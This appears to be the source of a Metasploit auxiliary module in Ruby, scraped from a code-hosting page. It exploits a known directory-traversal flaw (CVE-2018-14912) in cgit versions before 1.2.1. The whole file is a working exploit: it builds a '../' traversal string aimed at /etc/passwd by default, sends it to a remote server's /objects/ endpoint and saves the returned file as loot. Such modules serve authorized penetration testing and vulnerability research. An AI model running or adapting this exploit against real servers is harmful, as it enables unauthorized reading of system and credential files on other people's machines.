69 lines
2.0 KiB
Ruby
69 lines
2.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'cgit Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal vulnerability which
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exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
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configuration flag enable-http-clone is set to 1 (default).
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},
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'References' =>
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[
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['CVE', '2018-14912'],
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['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
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['EDB', '45148']
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],
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'Author' =>
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[
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'Google Project Zero', # Vulnerability discovery
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'Dhiraj Mishra' # Metasploit module
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],
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'DisclosureDate' => '2018-08-03',
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'License' => MSF_LICENSE
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))
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register_options(
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[
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OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
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OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
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OptString.new('REPO', [true, "Git repository on the remote server", '']),
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OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
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])
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end
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def run_host(ip)
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filename = datastore['FILEPATH']
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traversal = "../" * datastore['DEPTH'] << filename
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
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'vars_get' => {'path' => traversal}
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})
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unless res && res.code == 200
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print_error('Nothing was downloaded')
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return
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end
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vprint_good("#{peer} - \n#{res.body}")
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path = store_loot(
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'cgit.traversal',
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'text/plain',
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ip,
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res.body,
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filename
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)
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print_good("File saved in: #{path}")
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end
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end
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